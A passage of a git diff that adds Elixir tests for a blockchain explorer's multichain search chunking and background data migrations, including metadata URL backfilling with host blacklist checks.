[block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [current_token_balance] + } + + chunks = MultichainSearch.extract_batch_import_params_into_chunks(params) + + assert Enum.count(chunks) == 1 + + chunk = List.first(chunks) + + assert chunk[:api_key] == "12345" + assert chunk[:chain_id] == "1" + + assert Enum.all?(chunk[:addresses], fn item -> + item.hash == "0x" <> Base.encode16(address_1.hash.bytes, case: :lower) || + item.hash == "0x" <> Base.encode16(address_2.hash.bytes, case: :lower) + end) + + assert chunk[:block_ranges] == [ + %{ + max_block_number: to_string(max(block_1.number, block_2.number)), + min_block_number: to_string(min(block_1.number, block_2.number)) + } + ] + + assert chunk[:hashes] == [ + %{ + hash: to_string(block_1.hash), + hash_type: "BLOCK" + }, + %{ + hash: to_string(block_2.hash), + hash_type: "BLOCK" + }, + %{ + hash: to_string(transaction_1.hash), + hash_type: "TRANSACTION" + }, + %{ + hash: to_string(transaction_2.hash), + hash_type: "TRANSACTION" + } + ] + + assert chunk[:address_coin_balances] == [ + %{value: %Wei{value: Decimal.new("100")}, address_hash: to_string(address_1.hash)}, + %{value: %Wei{value: Decimal.new("200")}, address_hash: to_string(address_2.hash)} + ] + + assert chunk[:address_token_balances] == [ + %{ + value: Decimal.new("30000"), + address_hash: to_string(address_1.hash), + token_id: nil, + token_address_hash: to_string(token.contract_address_hash) + } + ] + end + + test "returns multiple chunks with the correct structure when all types of data is provided" do + addresses = + for _ <- 0..7001 do + insert(:address) + end + + block_1 = insert(:block) + block_2 = insert(:block) + transaction_1 = insert(:transaction) + transaction_2 = insert(:transaction) + + params = %{ + addresses: addresses, + blocks: [block_1, block_2], + transactions: [transaction_1, transaction_2], + address_current_token_balances: [] + } + + chunks = MultichainSearch.extract_batch_import_params_into_chunks(params) + + assert Enum.count(chunks) == 2 + + first_chunk = List.first(chunks) + second_chunk = List.last(chunks) + + assert first_chunk[:api_key] == "12345" + assert first_chunk[:chain_id] == "1" + + assert Enum.count(first_chunk[:addresses]) == 7000 + assert Enum.count(second_chunk[:addresses]) == 2 + + random_index_in_first_chunk = Enum.random(0..6999) + + assert Enum.any?(first_chunk[:addresses], fn item -> + item.hash == + "0x" <> Base.encode16(Enum.at(addresses, random_index_in_first_chunk).hash.bytes, case: :lower) + end) + + assert first_chunk[:block_ranges] == [ + %{ + max_block_number: to_string(max(block_1.number, block_2.number)), + min_block_number: to_string(min(block_1.number, block_2.number)) + } + ] + + assert first_chunk[:hashes] == [ + %{ + hash: "0x" <> Base.encode16(block_1.hash.bytes, case: :lower), + hash_type: "BLOCK" + }, + %{ + hash: "0x" <> Base.encode16(block_2.hash.bytes, case: :lower), + hash_type: "BLOCK" + }, + %{ + hash: "0x" <> Base.encode16(transaction_1.hash.bytes, case: :lower), + hash_type: "TRANSACTION" + }, + %{ + hash: "0x" <> Base.encode16(transaction_2.hash.bytes, case: :lower), + hash_type: "TRANSACTION" + } + ] + + assert second_chunk[:api_key] == "12345" + assert second_chunk[:chain_id] == "1" + + assert second_chunk[:block_ranges] == [] + assert second_chunk[:hashes] == [] + + assert Enum.all?(second_chunk[:addresses], fn item -> + item.hash == "0x" <> Base.encode16(Enum.at(addresses, 7000).hash.bytes, case: :lower) || + item.hash == "0x" <> Base.encode16(Enum.at(addresses, 7001).hash.bytes, case: :lower) + end) + end + + test "returns chunks with the correct structure when only addresses are provided" do + address_1 = insert(:address) + address_2 = insert(:address) + + params = %{ + addresses: [address_1, address_2], + blocks: [], + transactions: [], + address_current_token_balances: [] + } + + chunks = MultichainSearch.extract_batch_import_params_into_chunks(params) + + assert Enum.count(chunks) == 1 + + chunk = List.first(chunks) + + assert chunk[:api_key] == "12345" + assert chunk[:chain_id] == "1" + + assert Enum.all?(chunk[:addresses], fn item -> + item.hash == "0x" <> Base.encode16(address_1.hash.bytes, case: :lower) || + item.hash == "0x" <> Base.encode16(address_2.hash.bytes, case: :lower) + end) + + assert chunk[:block_ranges] == [] + assert chunk[:hashes] == [] + end + + test "returns chunks with the correct structure of addresses" do + address_1 = insert(:address, ens_domain_name: "te.eth") + address_2 = insert(:address, contract_code: "0x1234") + address_3 = insert(:address, contract_code: "0x1234", verified: true) + insert(:smart_contract, address_hash: address_3.hash, contract_code_md5: "123") + insert(:token, %{contract_address: address_3, name: "Main Token", type: "ERC-721"}) + + address_3_with_preloads = address_3 |> Repo.preload([:smart_contract, :token]) + + params = %{ + addresses: [address_1, address_2, address_3_with_preloads], + blocks: [], + transactions: [], + address_current_token_balances: [] + } + + chunks = MultichainSearch.extract_batch_import_params_into_chunks(params) + + assert Enum.count(chunks) == 1 + + chunk = List.first(chunks) + + assert chunk[:api_key] == "12345" + assert chunk[:chain_id] == "1" + + assert chunk[:addresses] == [ + %{ + hash: "0x" <> Base.encode16(address_1.hash.bytes, case: :lower), + is_contract: false, + is_verified_contract: false, + contract_name: nil, + token_name: nil, + token_type: "UNSPECIFIED", + is_token: false, + ens_name: "te.eth" + }, + %{ + hash: "0x" <> Base.encode16(address_2.hash.bytes, case: :lower), + is_contract: true, + is_verified_contract: false, + contract_name: nil, + token_name: nil, + token_type: "UNSPECIFIED", + is_token: false, + ens_name: nil + }, + %{ + hash: "0x" <> Base.encode16(address_3.hash.bytes, case: :lower), + is_contract: true, + is_verified_contract: true, + contract_name: "SimpleStorage", + token_name: "Main Token", + token_type: "ERC-721", + is_token: true, + ens_name: nil + } + ] + + assert chunk[:block_ranges] == [] + assert chunk[:hashes] == [] + end + end + + defp transaction_export_data(transaction) do + %{ + hash: "0x" <> Base.encode16(transaction.hash.bytes, case: :lower), + hash_type: "TRANSACTION" + } + end + + defp block_export_data(block) do + %{ + hash: "0x" <> Base.encode16(block.hash.bytes, case: :lower), + hash_type: "BLOCK" + } + end + + defp address_export_data(address) do + %{ + hash: "0x" <> Base.encode16(address.hash.bytes, case: :lower), + token_type: "UNSPECIFIED", + is_contract: false, + token_name: nil, + contract_name: nil, + ens_name: nil, + is_token: false, + is_verified_contract: false + } + end +end diff --git a/apps/explorer/test/explorer/migrator/address_current_token_balance_token_type_test.exs b/apps/explorer/test/explorer/migrator/address_current_token_balance_token_type_test.exs new file mode 100644 index 000000000000..27591d9c52c1 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/address_current_token_balance_token_type_test.exs @@ -0,0 +1,33 @@ +defmodule Explorer.Migrator.AddressCurrentTokenBalanceTokenTypeTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Migrator.{AddressCurrentTokenBalanceTokenType, MigrationStatus} + alias Explorer.Repo + + describe "Migrate current token balances" do + test "Set token_type for not processed current token balances" do + Enum.each(0..10, fn _x -> + current_token_balance = insert(:address_current_token_balance, token_type: nil) + assert %{token_type: nil} = current_token_balance + end) + + assert MigrationStatus.get_status("ctb_token_type") == nil + + AddressCurrentTokenBalanceTokenType.start_link([]) + Process.sleep(100) + + CurrentTokenBalance + |> Repo.all() + |> Repo.preload(:token) + |> Enum.each(fn ctb -> + assert %{token_type: token_type, token: %{type: token_type}} = ctb + assert not is_nil(token_type) + end) + + assert MigrationStatus.get_status("ctb_token_type") == "completed" + assert BackgroundMigrations.get_ctb_token_type_finished() == true + end + end +end diff --git a/apps/explorer/test/explorer/migrator/address_token_balance_token_type_test.exs b/apps/explorer/test/explorer/migrator/address_token_balance_token_type_test.exs new file mode 100644 index 000000000000..4bf09c57122c --- /dev/null +++ b/apps/explorer/test/explorer/migrator/address_token_balance_token_type_test.exs @@ -0,0 +1,33 @@ +defmodule Explorer.Migrator.AddressTokenBalanceTokenTypeTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.Address.TokenBalance + alias Explorer.Migrator.{AddressTokenBalanceTokenType, MigrationStatus} + alias Explorer.Repo + + describe "Migrate token balances" do + test "Set token_type for not processed token balances" do + Enum.each(0..10, fn _x -> + token_balance = insert(:token_balance, token_type: nil) + assert %{token_type: nil} = token_balance + end) + + assert MigrationStatus.get_status("tb_token_type") == nil + + AddressTokenBalanceTokenType.start_link([]) + Process.sleep(100) + + TokenBalance + |> Repo.all() + |> Repo.preload(:token) + |> Enum.each(fn tb -> + assert %{token_type: token_type, token: %{type: token_type}} = tb + assert not is_nil(token_type) + end) + + assert MigrationStatus.get_status("tb_token_type") == "completed" + assert BackgroundMigrations.get_tb_token_type_finished() == true + end + end +end diff --git a/apps/explorer/test/explorer/migrator/backfill_metadata_url_test.exs b/apps/explorer/test/explorer/migrator/backfill_metadata_url_test.exs new file mode 100644 index 000000000000..1ad32f349dcb --- /dev/null +++ b/apps/explorer/test/explorer/migrator/backfill_metadata_url_test.exs @@ -0,0 +1,446 @@ +defmodule Explorer.Migrator.BackfillMetadataURLTest do + use Explorer.DataCase, async: false + use EthereumJSONRPC.Case, async: false + + import Mox + + alias Explorer.Migrator.{BackfillMetadataURL, MigrationStatus} + alias Explorer.Chain.Token.Instance + + setup :verify_on_exit! + setup :set_mox_global + + setup do + :persistent_term.erase(:parsed_cidr_list) + + env = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper) + env_1 = Application.get_env(:explorer, Explorer.Migrator.BackfillMetadataURL) + + Application.put_env( + :indexer, + Indexer.Fetcher.TokenInstance.Helper, + Keyword.put(env, :host_filtering_enabled?, true) + ) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.TokenInstance.Helper, env) + Application.put_env(:explorer, Explorer.Migrator.BackfillMetadataURL, env_1) + end) + end + + describe "BackfillMetadataURL" do + test "complete migration" do + token = insert(:token, type: "ERC-721") + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 0 + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 1 + ) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + encoded_url_1 = + "0x" <> + (ABI.TypeEncoder.encode(["http://255.255.255.255/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + encoded_url_2 = + "0x" <> + (ABI.TypeEncoder.encode(["http://example.com/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000000", + to: ^token_contract_address_hash_string + }, + "latest" + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000001", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, + [%{id: id_1, jsonrpc: "2.0", result: encoded_url_1}, %{id: id_2, jsonrpc: "2.0", result: encoded_url_2}]} + end + ) + + assert MigrationStatus.get_status("backfill_metadata_url") == nil + + BackfillMetadataURL.start_link([]) + Process.sleep(100) + + [instance_1, instance_2] = + Instance + |> order_by([i], asc: i.token_id) + |> Repo.all() + + assert instance_1.skip_metadata_url == false + assert instance_2.skip_metadata_url == false + + assert is_nil(instance_1.metadata) + assert !is_nil(instance_2.metadata) + + assert instance_2.metadata == %{"awesome" => "metadata"} + assert instance_2.metadata_url == "http://example.com/api/card/{id}" + + assert instance_1.error == "blacklist" + + assert MigrationStatus.get_status("backfill_metadata_url") == "completed" + end + + test "Resolve domain" do + token = insert(:token, type: "ERC-721") + env = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper) + Application.put_env(:explorer, Explorer.Migrator.BackfillMetadataURL, batch_size: 1, concurrency: 1) + + Application.put_env( + :indexer, + Indexer.Fetcher.TokenInstance.Helper, + Keyword.put(env, :cidr_blacklist, ["255.255.255.255/32", "1.1.1.1/32"]) + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 0 + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 1 + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 2 + ) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + encoded_url_1 = + "0x" <> + (ABI.TypeEncoder.encode(["http://localtest.me/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + encoded_url_2 = + "0x" <> + (ABI.TypeEncoder.encode(["http://localhost/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + encoded_url_3 = + "0x" <> + (ABI.TypeEncoder.encode(["http://1.1.1.1:9393/api/card/{id}"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000000", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: encoded_url_1}]} + end + ) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000001", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: encoded_url_2}]} + end + ) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000002", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: encoded_url_3}]} + end + ) + + assert MigrationStatus.get_status("backfill_metadata_url") == nil + + BackfillMetadataURL.start_link([]) + Process.sleep(500) + + [instance_1, instance_2, instance_3] = + Instance + |> order_by([i], asc: i.token_id) + |> Repo.all() + + assert instance_1.skip_metadata_url == false + assert instance_2.skip_metadata_url == false + assert instance_3.skip_metadata_url == false + + assert is_nil(instance_1.metadata) + assert is_nil(instance_2.metadata) + assert is_nil(instance_3.metadata) + + assert instance_1.error == "blacklist" + assert instance_2.error in ["nxdomain", "blacklist"] + assert instance_3.error == "blacklist" + + assert MigrationStatus.get_status("backfill_metadata_url") == "completed" + end + + test "drop metadata on invalid token uri response" do + token = insert(:token, type: "ERC-1155") + env = Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper) + Application.put_env(:explorer, Explorer.Migrator.BackfillMetadataURL, batch_size: 1, concurrency: 1) + + Application.put_env( + :indexer, + Indexer.Fetcher.TokenInstance.Helper, + Keyword.put(env, :cidr_blacklist, ["1.1.1.1/32"]) + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 0 + ) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + encoded_url_1 = + "0x" <> + (ABI.TypeEncoder.encode([""], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0x0e89341c0000000000000000000000000000000000000000000000000000000000000000", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id, jsonrpc: "2.0", result: encoded_url_1}]} + end + ) + + assert MigrationStatus.get_status("backfill_metadata_url") == nil + + BackfillMetadataURL.start_link([]) + Process.sleep(500) + + [instance_1] = + Instance + |> order_by([i], asc: i.token_id) + |> Repo.all() + + assert instance_1.skip_metadata_url == false + + assert is_nil(instance_1.metadata) + + assert instance_1.error == "no uri" + + assert MigrationStatus.get_status("backfill_metadata_url") == "completed" + end + + test "regression for https://github.com/blockscout/blockscout/issues/12389" do + token = insert(:token, type: "ERC-721") + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 0 + ) + + insert(:token_instance, + metadata: %{awesome: "metadata"}, + token_contract_address_hash: token.contract_address_hash, + token_id: 1 + ) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + encoded_url_2 = + "0x" <> + (ABI.TypeEncoder.encode( + ["http://example.com/api/card/{id}/" <> String.duplicate("a", 3000)], + %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + } + ) + |> Base.encode16(case: :lower)) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000000", + to: ^token_contract_address_hash_string + }, + "latest" + ] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000001", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + result: + "0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004768747470733a2f2f6170692e63727970746f736861636b2e636c75622f676f7068657273000000000000000000000000000000000000000000000000002f6a736f6e2f3235343300000000000000000000000000000000000000000000000000" + }, + %{id: id_2, jsonrpc: "2.0", result: encoded_url_2} + ]} + end + ) + + assert MigrationStatus.get_status("backfill_metadata_url") == nil + + BackfillMetadataURL.start_link([]) + Process.sleep(100) + + [instance_1, instance_2] = + Instance + |> order_by([i], asc: i.token_id) + |> Repo.all() + + assert instance_1.skip_metadata_url == false + assert instance_2.skip_metadata_url == false + + assert is_nil(instance_1.metadata) + assert !is_nil(instance_2.metadata) + + assert instance_2.metadata == %{"awesome" => "metadata"} + assert String.length(instance_2.metadata_url) == 2048 + assert instance_1.error == "not_printable" + + assert MigrationStatus.get_status("backfill_metadata_url") == "completed" + end + end +end diff --git a/apps/explorer/test/explorer/migrator/celo_l2_epochs_test.exs b/apps/explorer/test/explorer/migrator/celo_l2_epochs_test.exs new file mode 100644 index 000000000000..fe01497d2961 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/celo_l2_epochs_test.exs @@ -0,0 +1,179 @@ +defmodule Explorer.Migrator.CeloL2EpochsTest do + use Explorer.DataCase, async: false + + use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type] + + if @chain_type == :celo do + alias Explorer.Migrator.{CeloL2Epochs, MigrationStatus} + alias Explorer.Chain.Celo.Epoch + alias Explorer.Repo + + import Ecto.Query + + describe "celo_l2_epochs migration" do + test "backfills epochs from logs" do + epoch_manager_address = insert(:address, hash: "0x8d3436d48e1e3d915a0a6948049b0f58a79c9bbb") + + old_env = Application.get_env(:explorer, :celo) + + Application.put_env( + :explorer, + :celo, + Keyword.put( + old_env, + :epoch_manager_contract_address, + to_string(epoch_manager_address.hash) + ) + ) + + on_exit(fn -> + Application.put_env(:explorer, :celo, old_env) + end) + + # Create test logs for epoch processing events + epoch_number = 42 + epoch_number_hex = "0x000000000000000000000000000000000000000000000000000000000000002a" + + # Add epoch_processing_started event log + start_log = + insert(:log, + address: epoch_manager_address, + # epoch_processing_started + first_topic: "0xae58a33f8b8d696bcbaca9fa29d9fdc336c140e982196c2580db3d46f3e6d4b6", + second_topic: epoch_number_hex + ) + + # Add epoch_processing_ended event log + end_log = + insert(:log, + address: epoch_manager_address, + # epoch_processing_ended + first_topic: "0xc8e58d8e6979dd5e68bad79d4a4368a1091f6feb2323e612539b1b84e0663a8f", + second_topic: epoch_number_hex + ) + + # Ensure migration has not run yet + assert MigrationStatus.get_status("celo_l2_epochs") == nil + + # Run migration process + {:ok, _} = CeloL2Epochs.start_link([]) + + # Wait for migration to complete + Process.sleep(500) + + # Verify epoch was properly created + epochs = Repo.all(from(e in Epoch, where: e.number == ^epoch_number)) + + assert length(epochs) == 1 + epoch = List.first(epochs) + + # Check epoch data matches our logs + assert epoch.number == epoch_number + assert epoch.start_processing_block_hash == start_log.block_hash + assert epoch.end_processing_block_hash == end_log.block_hash + assert epoch.fetched? == false + + # Confirm migration status is completed + assert MigrationStatus.get_status("celo_l2_epochs") == "completed" + end + + test "backfills multiple epochs from logs" do + epoch_manager_address = insert(:address, hash: "0x8d3436d48e1e3d915a0a6948049b0f58a79c9bbb") + + old_env = Application.get_env(:explorer, :celo) + + Application.put_env(:explorer, :celo, [ + { + :epoch_manager_contract_address, + to_string(epoch_manager_address.hash) + } + | old_env + ]) + + on_exit(fn -> + Application.put_env(:explorer, :celo, old_env) + end) + + # Create data for 3 epochs with different patterns + epoch_data = [ + # Standard epoch with start and end events + %{ + number: 42, + number_hex: "0x000000000000000000000000000000000000000000000000000000000000002a" + }, + # Another complete epoch + %{ + number: 43, + number_hex: "0x000000000000000000000000000000000000000000000000000000000000002b" + }, + # Epoch with only a start event (incomplete) + %{ + number: 44, + number_hex: "0x000000000000000000000000000000000000000000000000000000000000002c" + } + ] + + # Insert logs for each epoch + start_logs = + Enum.map(epoch_data, fn epoch -> + insert(:log, + address: epoch_manager_address, + first_topic: "0xae58a33f8b8d696bcbaca9fa29d9fdc336c140e982196c2580db3d46f3e6d4b6", + second_topic: epoch.number_hex + ) + end) + + # Insert end logs for all except the last epoch + end_logs = + Enum.slice(epoch_data, 0..1) + |> Enum.map(fn epoch -> + insert(:log, + address: epoch_manager_address, + first_topic: "0xc8e58d8e6979dd5e68bad79d4a4368a1091f6feb2323e612539b1b84e0663a8f", + second_topic: epoch.number_hex + ) + end) + + # Ensure migration has not run yet + assert MigrationStatus.get_status("celo_l2_epochs") == nil + + # Run migration process + {:ok, _} = CeloL2Epochs.start_link([]) + + # Wait for migration to complete + Process.sleep(1000) + + # Verify all epochs were properly created + created_epochs = Repo.all(from(e in Epoch, order_by: [asc: e.number])) + + # Should have created all three epochs + assert length(created_epochs) == 3 + + # Check first epoch (complete) + first_epoch = Enum.at(created_epochs, 0) + assert first_epoch.number == 42 + assert first_epoch.start_processing_block_hash == Enum.at(start_logs, 0).block_hash + assert first_epoch.end_processing_block_hash == Enum.at(end_logs, 0).block_hash + assert first_epoch.fetched? == false + + # Check second epoch (complete) + second_epoch = Enum.at(created_epochs, 1) + assert second_epoch.number == 43 + assert second_epoch.start_processing_block_hash == Enum.at(start_logs, 1).block_hash + assert second_epoch.end_processing_block_hash == Enum.at(end_logs, 1).block_hash + assert second_epoch.fetched? == false + + # Check third epoch (incomplete - only has start) + third_epoch = Enum.at(created_epochs, 2) + assert third_epoch.number == 44 + assert third_epoch.start_processing_block_hash == Enum.at(start_logs, 2).block_hash + assert third_epoch.end_processing_block_hash == nil + assert third_epoch.fetched? == false + + # Confirm migration status is completed + assert MigrationStatus.get_status("celo_l2_epochs") == "completed" + end + end + end +end diff --git a/apps/explorer/test/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index_test.exs b/apps/explorer/test/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index_test.exs new file mode 100644 index 000000000000..c7145eb33130 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index_test.exs @@ -0,0 +1,54 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndexTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper + alias Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndex + + describe "Creates heavy index `logs_address_hash_block_number_DESC_index_DESC_index`" do + setup do + configuration = Application.get_env(:explorer, HeavyDbIndexOperation) + Application.put_env(:explorer, HeavyDbIndexOperation, check_interval: 200) + + on_exit(fn -> + Application.put_env(:explorer, HeavyDbIndexOperation, configuration) + end) + + :ok + end + + test "Creates heavy DB index with dependencies" do + migration_name = "heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index" + index_name = "logs_address_hash_block_number_DESC_index_DESC_index" + + assert MigrationStatus.get_status(migration_name) == nil + assert Helper.db_index_exists_and_valid?(index_name) == %{exists?: false, valid?: nil} + + CreateLogsAddressHashBlockNumberDescIndexDescIndex.start_link([]) + Process.sleep(100) + + assert MigrationStatus.get_status(migration_name) == nil + + insert(:db_migration_status, + migration_name: "heavy_indexes_drop_logs_block_number_asc__index_asc_index", + status: "completed" + ) + + insert(:db_migration_status, migration_name: "heavy_indexes_create_logs_block_hash_index", status: "completed") + + Process.sleep(150) + + assert MigrationStatus.get_status(migration_name) == "started" + + Process.sleep(200) + + assert MigrationStatus.get_status(migration_name) == "completed" + + assert Helper.db_index_exists_and_valid?(index_name) == %{exists?: true, valid?: true} + + assert BackgroundMigrations.get_heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index_finished() == + true + end + end +end diff --git a/apps/explorer/test/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index_test.exs b/apps/explorer/test/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index_test.exs new file mode 100644 index 000000000000..7654c01900d9 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/heavy_db_index_operation/drop_logs_block_number_asc_index_asc_index_test.exs @@ -0,0 +1,43 @@ +defmodule Explorer.Migrator.DropLogsBlockNumberAscIndexAscIndexTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper + alias Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex + + describe "Drops heavy index `logs_block_number_ASC__index_ASC_index`" do + setup do + configuration = Application.get_env(:explorer, HeavyDbIndexOperation) + Application.put_env(:explorer, HeavyDbIndexOperation, check_interval: 200) + + on_exit(fn -> + Application.put_env(:explorer, HeavyDbIndexOperation, configuration) + end) + + :ok + end + + test "Drops heavy DB index with no dependencies" do + migration_name = "heavy_indexes_drop_logs_block_number_asc__index_asc_index" + index_name = "logs_block_number_ASC__index_ASC_index" + + assert MigrationStatus.get_status(migration_name) == nil + assert Helper.db_index_exists_and_valid?(index_name) == %{exists?: true, valid?: true} + + DropLogsBlockNumberAscIndexAscIndex.start_link([]) + Process.sleep(100) + + assert MigrationStatus.get_status(migration_name) == "started" + + Process.sleep(200) + + assert MigrationStatus.get_status(migration_name) == "completed" + + assert Helper.db_index_exists_and_valid?(index_name) == %{exists?: false, valid?: nil} + + assert BackgroundMigrations.get_heavy_indexes_drop_logs_block_number_asc_index_asc_index_finished() == + true + end + end +end diff --git a/apps/explorer/test/explorer/migrator/merge_adjacent_missing_block_ranges_test.exs b/apps/explorer/test/explorer/migrator/merge_adjacent_missing_block_ranges_test.exs new file mode 100644 index 000000000000..2f8ac7afa7f3 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/merge_adjacent_missing_block_ranges_test.exs @@ -0,0 +1,50 @@ +defmodule Explorer.Migrator.MergeAdjacentMissingBlockRangesTest do + use Explorer.DataCase, async: false + + alias Explorer.Migrator.MergeAdjacentMissingBlockRanges + alias Explorer.Repo + alias Explorer.Utility.MissingBlockRange + + test "Merges adjacent ranges" do + Repo.delete_all(MissingBlockRange) + + insert(:missing_block_range, from_number: 100, to_number: 70, priority: nil) + insert(:missing_block_range, from_number: 69, to_number: 60, priority: nil) + insert(:missing_block_range, from_number: 59, to_number: 50, priority: 1) + insert(:missing_block_range, from_number: 45, to_number: 45, priority: nil) + insert(:missing_block_range, from_number: 40, to_number: 30, priority: 1) + insert(:missing_block_range, from_number: 29, to_number: 20, priority: 1) + insert(:missing_block_range, from_number: 19, to_number: 10, priority: nil) + insert(:missing_block_range, from_number: 9, to_number: 5, priority: nil) + insert(:missing_block_range, from_number: 4, to_number: 0, priority: nil) + + MergeAdjacentMissingBlockRanges.start_link([]) + Process.sleep(100) + + ranges = Repo.all(MissingBlockRange) + + assert length(ranges) == 5 + + assert Enum.any?(ranges, fn range -> + range.from_number == 100 and range.to_number == 60 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 59 and range.to_number == 50 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 45 and range.to_number == 45 and range.priority == nil + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 40 and range.to_number == 20 and range.priority == 1 + end) + + assert Enum.any?(ranges, fn range -> + range.from_number == 19 and range.to_number == 0 and range.priority == nil + end) + + Repo.delete_all(MissingBlockRange) + end +end diff --git a/apps/explorer/test/explorer/migrator/reindex_blocks_with_missing_transactions_test.exs b/apps/explorer/test/explorer/migrator/reindex_blocks_with_missing_transactions_test.exs new file mode 100644 index 000000000000..549d7535d118 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/reindex_blocks_with_missing_transactions_test.exs @@ -0,0 +1,79 @@ +defmodule Explorer.Migrator.ReindexBlocksWithMissingTransactionsTest do + use Explorer.DataCase, async: false + + import Mox + + alias Explorer.Chain.Block + alias Explorer.Migrator.{MigrationStatus, ReindexBlocksWithMissingTransactions} + alias Explorer.Repo + + setup :set_mox_global + setup :verify_on_exit! + + setup do + configuration = Application.get_env(:explorer, 